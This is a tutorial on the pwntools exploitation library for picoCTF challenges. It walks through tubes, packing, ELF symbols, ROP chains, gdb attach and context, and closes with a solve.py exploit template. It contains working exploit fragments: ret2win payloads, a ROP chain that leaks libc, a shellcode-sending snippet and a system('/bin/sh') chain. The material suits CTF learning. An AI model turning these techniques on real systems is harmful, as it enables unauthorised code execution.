April 28, 2026

pwntools for CTF: A Foundational Guide from import to Shell

pwntools is four pillars (Tubes, ELF, ROP, gdb) pretending to be one library, plus a utility belt. Six idioms cover 90% of pwn for CTF, with picoCTF receipts (buffer overflow 1, ROPfu, format string 2, PIE TIME) and the GitHub issues that catch every beginner.

The kitchen sink, explained

Here is the very first code example on the official pwntools README:

from pwn import *
context(arch = 'i386', os = 'linux')
r = remote('exploitme.example.com', 31337)
r.send(asm(shellcraft.sh()))
r.interactive()

Six lines. Five separate sub-modules: tubes (remote, interactive), context, asm (the assembler), and shellcraft (the shellcode generator). The pwntools maintainers call this design the "kitchen sink approach" and they are not wrong. The Getting Started page introduces six sub-modules in the first fifteen lines, before it shows you one complete exploit. That isn't your fault. That's the design.

I read eight real picoCTF buffer-overflow and ROP writeups while drafting this guide. The pattern was the same in every one. The script worked once, the next challenge broke a different piece of it, and the docs were too big to skim under a CTF clock. The reason is simple. pwntools is not really one library. It's four libraries pretending to be one, plus a utility belt, plus a few specialists you do not need on day one.

pwntools isn't one library. It's four pillars plus a utility belt. The tutorials teach all of it at once and then we wonder why beginners are confused.

The four pillars are simple, and once you see them you can't un-see them:

Tubes
Move bytes to and from the target.

Knows about: Sockets, processes, SSH, prompts, line endings.

Does not know about: Your binary, your symbols, your gadgets.

ELF
Read the binary's symbol table, GOT, PLT, sections.

Knows about: Symbol addresses, PIE base, the BSS (uninitialised data) section, .text bytes.

Does not know about: The remote process or the wire.

ROP
Build Return-Oriented Programming (ROP) chains by name, not by address.

Knows about: Gadgets (small code snippets ending in ret), calling conventions, i386/amd64.

Does not know about: How the chain reaches the target.

GDB
Attach a real debugger to a pwntools process.

Knows about: gdbscript (auto-typed gdb commands), terminals, breakpoints, ptrace.

Does not know about: What you're trying to prove with the breakpoint.

Wrap them with a utility belt (p32/p64, cyclic, context) that everything else depends on, and a few specialists you can pick up later (shellcraft, fmtstr, dynelf, libcdb). That's the whole library. Six idioms get you from import to shell.

Note: This guide assumes you've solved at least one stack overflow by hand. If not, start with the Buffer Overflow guide first, then come back. ROP and PIE deep-dives live in their own posts (ROP without libc, ASLR and PIE bypass); this piece is the connective tissue.

The six idioms that cover 90% of pwn

The order matters. Idioms 1 and 2 stand alone. Idiom 3 (ELF) is what makes idioms 4 and 5 worth using. Idiom 6 (context) ties everything together and quietly fixes most of the bugs in sections 1 through 5. Skip context and you will spend an afternoon debugging a 32-bit pack on a 64-bit binary.

IdiomPillarWhat it doesOne-line example
1TubesOpen the connection, drive the prompts.io = remote(host, port)
2UtilityPack integers, generate de Bruijn patterns.payload = b"A"*72 + p64(elf.symbols["win"])
3ELFResolve symbols, GOT, PLT, set PIE base.elf.symbols["win"]
4ROPBuild a chain by name instead of by hand.rop.call("system", [binsh])
5GDBDrop into pwndbg with breakpoints preset.gdb.attach(io, "b *win\nc")
6UtilityOne line that absorbs arch, bits, endianness.context.binary = exe

For calibration on real-world practice: of eight picoCTF buffer-overflow and ROP writeups I sampled, eight out of eight used from pwn import * and p32/p64; six out of eight used ELF for symbol lookup; only two set context.binary; and exactly one used the ROP() object instead of pasting hex addresses by hand. Real picoCTF scripts are scrappier than the docs idealize, and that gap is where this guide spends time. The polished idiom ships as the default below; the scrappy reality shows up in the failure modes and the picoCTF mapping at the end.

Idiom 1: Tubes

Pillar 1 of 4. Tubes know: sockets, processes, line endings, prompts. Tubes don't know: your binary, your symbols, your gadgets.

A tube is pwntools' word for any I/O channel. process('./vuln') gives you a local subprocess. remote(host, port) gives you a TCP connection. ssh(...) gives you a remote shell. The same methods work on all of them, which is the whole point.

The minimum useful tube vocabulary is six methods.

io = process('./vuln') # local
io = remote('saturn.picoctf.net', 50123) # remote (TCP)
io.recvuntil(b'? ') # read until a prompt
io.recvline() # read one line, drop the \n
io.send(b'A' * 72) # raw bytes, no newline
io.sendline(b'PAYLOAD') # bytes + newline
io.sendlineafter(b'? ', b'PAYLOAD') # the recvuntil+sendline combo
io.interactive() # hand control to the user

The single most useful idiom is the last one. sendlineafterreads up to and including the prompt, then sends your payload with a newline. It's the entire local-prompt-handling pattern in one method, and you will type it more than any other tube call.

The toggle pattern for switching between local and remote:

from pwn import *
exe = ELF('./vuln')
def conn():
if args.REMOTE:
return remote('saturn.picoctf.net', 50123)
return process(exe.path)
io = conn()
# python3 exploit.py REMOTE # remote run
# python3 exploit.py # local run

argsis pwntools' magic CLI parser. Pass any uppercase word on the command line (python3 solve.py REMOTE GDB) and it appears as a truthy attribute on args. HOST=... and PORT=... set string values. No argparse setup, no sys.argvindexing. This kills the "flip a bool at the top of the file" anti-pattern that appeared in two of the eight writeups I sampled. Once you write it, you stop touching the script to deploy.

Warning: The default process(...) uses a pseudo-tty for stdout, which interacts badly with glibc line buffering once the program writes more than ~4096 bytes (pwntools issue #1038). If recvuntil hangs forever and strace says the bytes are already there, switch to process('./vuln', stdout=PIPE). Three hours of my life I am not getting back.

Idiom 2: Packing and cyclic

Utility belt. Knows: integers, bytes, de Bruijn patterns. Doesn't know: your binary or the running process.

p32 and p64 pack integers into little-endian byte strings. u32 and u64 reverse the operation. Nobody who has used pwntools for a week still types struct.pack("<Q", ...).

p32(0x080491f6) # b'\xf6\x91\x04\x08'
p64(0x4011a3) # b'\xa3\x11\x40\x00\x00\x00\x00\x00'
u64(b'\xa3\x11\x40\x00\x00\x00\x00\x00') # 0x4011a3
# Compose the classic ret2win payload
payload = b'A' * 72 + p64(elf.symbols['win'])

The other half of the utility belt is offset discovery. cyclic(N) generates a de Bruijn sequence of length N, where every 4-byte (or 8-byte) substring is unique. Send it as your overflow input, the program crashes, and Linux drops a core file (a memory snapshot of the dead process). pwntools reads the core file via io.corefile, gives you back the saved instruction pointer (core.eip on 32-bit, the qword at core.rsp on 64-bit), and cyclic_find reverses the lookup. Because every substring is unique, the bytes that landed on the return address tell you exactly which offset in your payload they came from.

io = process('./vuln')
io.sendline(cyclic(200)) # de Bruijn pattern
io.wait() # let it crash
core = io.corefile
# 32-bit binary
offset = cyclic_find(core.eip) # default n=4
# 64-bit binary -- the gotcha
offset = cyclic_find(core.read(core.rsp, 8), n=8)
Warning: cyclic_find defaults to n=4, the 32-bit pattern length. On a 64-bit binary you must pass n=8, even if you've already set context.arch = 'amd64'. Skipping it gives you a misleading ValueError from pack() instead of a useful error (issue #1965). It's the silent culprit behind a long thread of "why does my 64-bit exploit not work" tickets in the tracker.

Idiom 3: ELF

Pillar 2 of 4. ELF knows: the binary on disk, every symbol, every section, the byte at every offset. ELF doesn't know:the running process, the wire, or anything you haven't leaked yet.

The ELF (Executable and Linkable Format) pillar reads your binary and gives you back a Python object whose attributes are the things you actually want: symbol addresses, GOT (Global Offset Table) entries, PLT (Procedure Linkage Table) entries, the BSS section, search-for-bytes. ELF is the difference between hardcoding 0x080491f6 at the top of your script and writing elf.symbols['win'].

exe = ELF('./vuln')
exe.symbols['win'] # any symbol from the table
exe.got['puts'] # GOT entry (run-time function pointer)
exe.plt['puts'] # PLT entry (the stub you can ret to)
exe.entry # _start
next(exe.search(b'/bin/sh\x00')) # find a byte sequence
# PIE binary -- set the leaked base, every symbol relocates
exe.address = leak - exe.symbols['main']

The PLT/GOT split trips beginners up. Quick gloss: plt['puts'] is the address of a thunk in your binary that calls puts through the GOT. got['puts'] is the location of the function pointer the thunk reads. You return to the PLT to call puts; you read the GOT to leak libc. They are not interchangeable.

The single most underrated line in pwntools is exe.address = LEAK. A PIE (Position-Independent Executable) binary randomizes the base address every run, which means every symbol moves with it; elf.symbols['win'] before the leak is just an offset from zero, not a usable address. A leak in this context is any address you can read out of the running process: a stack frame pointer printed by a buggy printf, a libc function address dumped by puts(puts@got), anything that lets you compute the runtime base. Once you have one, that one assignment relocates every symbol in the ELF in place, so exe.symbols['win'] becomes correct again. The ASLR/PIE post covers the leak mechanics in depth; this is the line that consumes the leak.

Idiom 4: ROP

Pillar 3 of 4. ROP knows: ELFs, gadgets, calling conventions. ROP doesn't know: tubes, processes, how the chain reaches the target.

A ROP chain is a sequence of small instruction snippets (gadgets) ending in ret, strung together to simulate a series of function calls when the stack itself is non-executable. Pwntools' ROP pillar builds those chains by name instead of by address: you hand it an ELF (or a libc, the C standard library that ships with the target Linux box), tell it what function you want called with which arguments, and it picks the gadgets. It only works on i386 and amd64, which is fine because that's 99% of what picoCTF gives you.

from pwn import *
exe = ELF('./vuln')
libc = ELF('./libc.so.6')
rop = ROP([exe, libc])
rop.call('puts', [exe.got['puts']]) # leak libc address
rop.call('main') # come back to read more
rop.dump() # human-readable preview
payload = b'A' * 72 + rop.chain()

rop.dump()is the part nobody mentions in the tutorials. It prints the chain as a labelled stack with addresses, gadget mnemonics, and your raw values. The first time a chain didn't fire and I ran rop.dump(), I found I was one quadword off because the binary needed a stack-alignment pad. Took me thirty seconds. Without the dump, that's a half-hour gdb session.

Warning: ROP's gadget accessors fail silently. rop.rdi returns None if no pop rdi; ret exists in your ELF, and the next line that uses it crashes with TypeError. Always print or assert before composing.

Reality check: out of the eight picoCTF writeups I read, exactly one used the ROP() object. The rest manually hardcoded gadget addresses from ROPgadget output and called p32(...) on each one. The library is better than the practice. If you want the deeper tour, the ROP without libc post covers ret2plt, ret2syscall, ret2csu, ret2dlresolve, and SROP, all built with the object form.

Idiom 5: gdb.attach

Pillar 4 of 4. GDB knows:the live process, breakpoints, registers, your tube's pid. GDB doesn't know: what your exploit is actually trying to prove.

The GDB pillar gives you three entry points. gdb.attach(io, gdbscript=...) attaches to a process tube you already have. gdb.debug(args, gdbscript=...) launches the binary under gdbserver. gdb.debug_shellcode wraps shellcode in an ELF and debugs that. For 95% of CTFs, you want gdb.attach.

from pwn import *
exe = context.binary = ELF('./vuln')
io = process(exe.path)
gdb.attach(io, gdbscript='''
b *vuln+42
c
''')
io.sendline(b'A' * 100)
io.interactive()

The script runs your tube and your debugger in the same process. The pwndbg or GEF window opens in a separate terminal, hits the breakpoint you set, and waits. You step through the crash while your script feeds the input that triggered it. Every other way of doing this is worse.

Warning: You need context.terminal set or pwntools cannot open the debugger window. The error &quot;cannot find shell" logged by issue #1010 is the canonical symptom on a fresh install. Set it once in your shell rc: context.terminal = ['tmux', 'splitw', '-h'] for tmux, ['kitty', '@', 'launch'] for kitty, etc. pwntools handles the kernel ptrace_scope bypass automatically once the terminal works.

Idiom 6: context

Connective tissue. Context knows: arch, bits, endianness, log level, terminal. It's the only piece that touches all four pillars at once.

context is a global object that holds target architecture, bit width, endianness, OS, default timeout, log level, and the terminal pwntools should spawn for gdb. Almost every other call in the library reads from it. Setting it correctly is the one line that makes 80% of beginner bugs disappear.

context.binary = ELF('./vuln')
# That's it. The above call sets:
# context.arch = 'amd64'
# context.bits = 64
# context.endian = 'little'
# context.os = 'linux'
# Manual overrides if you really need them
context.log_level = 'debug' # show every send/recv
context.terminal = ['tmux', 'splitw', '-h']

Once context.binary is set, p64, shellcraft.sh(), and the cyclic pattern all switch to 64-bit automatically. context.log_level = 'debug' is the most useful debugging line in the library; it prints every byte sent and received with a hex dump so you can see exactly which prompt your recvuntil is actually catching.

If your exploit works locally and fails on remote, it's a libc mismatch or a newline. Bet on the libc mismatch. Bet on the newline second.

What still trips people up

pwntools has a sensible default and a less-sensible default, and the less-sensible default is the silent one. The library doesn't warn you. The fix is almost always one keyword argument. The bug is almost always time you didn't plan to spend.

Five recurring failure modes, each with a real GitHub issue receipt. If your script is misbehaving and you don't know why, this is the order to check.

  1. cyclic_find on a 64-bit binary without n=8. The default pattern length is 4, so cyclic_find(0x6261616a) returns a number on a 32-bit binary and a confusing ValueError from pack() on 64-bit (#1965). Fix: cyclic_find(needle, n=8).
  2. recvuntil hangs after ~4096 bytes. process(...) defaults to stdout=PTY, which trips glibc line buffering once the program emits more than a page of output (#1038). Fix: process('./vuln', stdout=PIPE).
  3. recvline drops the last line if it has no newline. If the flag is the last line and the program doesn't print a trailing \n, your loop misses it and you waste an afternoon (#2366). Fix: io.recvall() after the last useful read.
  4. gdb.attach silently does nothing. No terminal configured, no ptrace permission, no error you can read. The error handling itself was buggy until 4.2.0b0 (#1514). Fix: pin pwntools 4.15.0+ (October 2025 release), set context.terminal, and run a sanity check with gdb.attach(io, 'c') on a hello-world process before you start exploiting.
  5. Local works, remote crashes with garbage. Almost always a libc version mismatch: your system() offset on the local glibc is not the offset on the picoCTF VM. Fix: download the remote libc.so.6 with pwninit, load it as a second ELF, and resolve system against that.

picoCTF challenges, mapped to idioms

Every picoCTF pwn challenge below uses two or more of the six idioms. None uses all six. The interesting column is the last one: each challenge has a specific trap that will eat an hour if you don't see it coming, and the trap is almost always the idiom the challenge stresses hardest.

ChallengeNew idiom it stressesTrap on this oneCompanion post
buffer overflow 1ELF.symbols (ret2win)cyclic_find default n=4 silently truncates on amd64.Buffer Overflow
buffer overflow 2Argument passing (one int)x86 cdecl arg goes on the stack after the return address; off-by-one is common.Buffer Overflow
ROPfuROP (full chain, NX, no win)rop.dump() reveals you're missing a stack-alignment pad before system.ROP without libc
format string 1fmtstr (specialist library)Manual %hn arithmetic when one fmtstr_payload call would do it.Format String
format string 2fmtstr_payload (writes via GOT)Forgetting checksec=False means a noisy banner on every iteration of a brute-force.Format String
PIE TIMEelf.address = LEAKForgetting to subtract elf.symbols['main'] from the leak before the assignment.ASLR/PIE Bypass
heap 2All four pillars + contextLocal glibc has a different tcache layout than the picoCTF VM; pwninit the libc.Heap Exploitation
gdb test drivegdb.attach + gdbscriptcontext.terminal isn't set, so the new window never opens.GDB CTF Guide
offset-cyclecyclic + cyclic_find (n=8)Reading the leaked qword as little-endian instead of letting cyclic_find pack it.(no companion post yet)

Quick reference

One file. Six idioms. Most picoCTF pwn challenges fit in this skeleton.

#!/usr/bin/env python3
from pwn import *
# Idiom 6: context absorbs arch / bits / endianness from the binary
exe = context.binary = ELF('./vuln')
# libc = ELF('./libc.so.6') # uncomment for libc challenges
# Idiom 1: tubes (with REMOTE/LOCAL toggle via args.*)
def conn():
if args.REMOTE:
return remote(args.HOST or 'saturn.picoctf.net', int(args.PORT or 50123))
if args.GDB:
return gdb.debug(exe.path, gdbscript='b *win\nc')
return process(exe.path)
io = conn()
# Idiom 2: pack + cyclic offset discovery (n=8 on 64-bit!)
OFFSET = 72
# Idiom 3: ELF symbols
win = exe.symbols['win']
# Idiom 4: ROP, the canonical form
# rop = ROP(exe)
# rop.call('system', [next(exe.search(b'/bin/sh\x00'))])
# payload = b'A' * OFFSET + rop.chain()
payload = b'A' * OFFSET + p64(win)
io.sendlineafter(b'? ', payload)
# Idiom 5: drop into the debugger if you asked for it
# gdb.attach(io, 'c')
io.interactive()

Save it as solve.py. python3 solve.py runs local. python3 solve.py REMOTE HOST=... runs remote. python3 solve.py GDBdrops into pwndbg with your breakpoint preset. You'll edit the offset, the symbol, and the prompt string. The shape of the file stays the same for months.

The drill, if you want one. Open buffer overflow 1. Cyclic-find the offset, set context.binary, jump to elf.symbols['win']. Then format string 1 with fmtstr_payload. Then ROPfu with the ROP()object instead of pasting hex addresses. By the third script, you'll wonder why anyone hand-rolls anymore.

Sources and further reading

  1. pwntools 4.15.0 documentation (the canonical reference; the "kitchen sink" framing is in the Getting Started page).
  2. Gallopsled/pwntools-tutorial on GitHub (the official chapter-by-chapter walkthrough, recommended order: installing, tubes, utility, bytes, context, elf, assembly, debugging, rop, logging, leaking).
  3. Gallopsled/pwntools (4.15.0, MIT, released October 2025).
  4. GitHub issues referenced for the "what trips people up" section: #1965 (cyclic_find n=4), #1038 (PTY hang), #2366 (recvline drops last line), #1010 (gdb.attach "cannot find shell"), #1514 (gdb.attach error masking).
  5. Real picoCTF writeups consulted for the idiom catalog: HHousen 2022 buffer overflow 1, Cajac 2024 format string 2, AdvDebug ROPfu, cyb3rwhitesnake Here's a Libc.
  6. pwninit (the standard tool for downloading remote libc and patchelf-ing the binary, used in failure mode 5).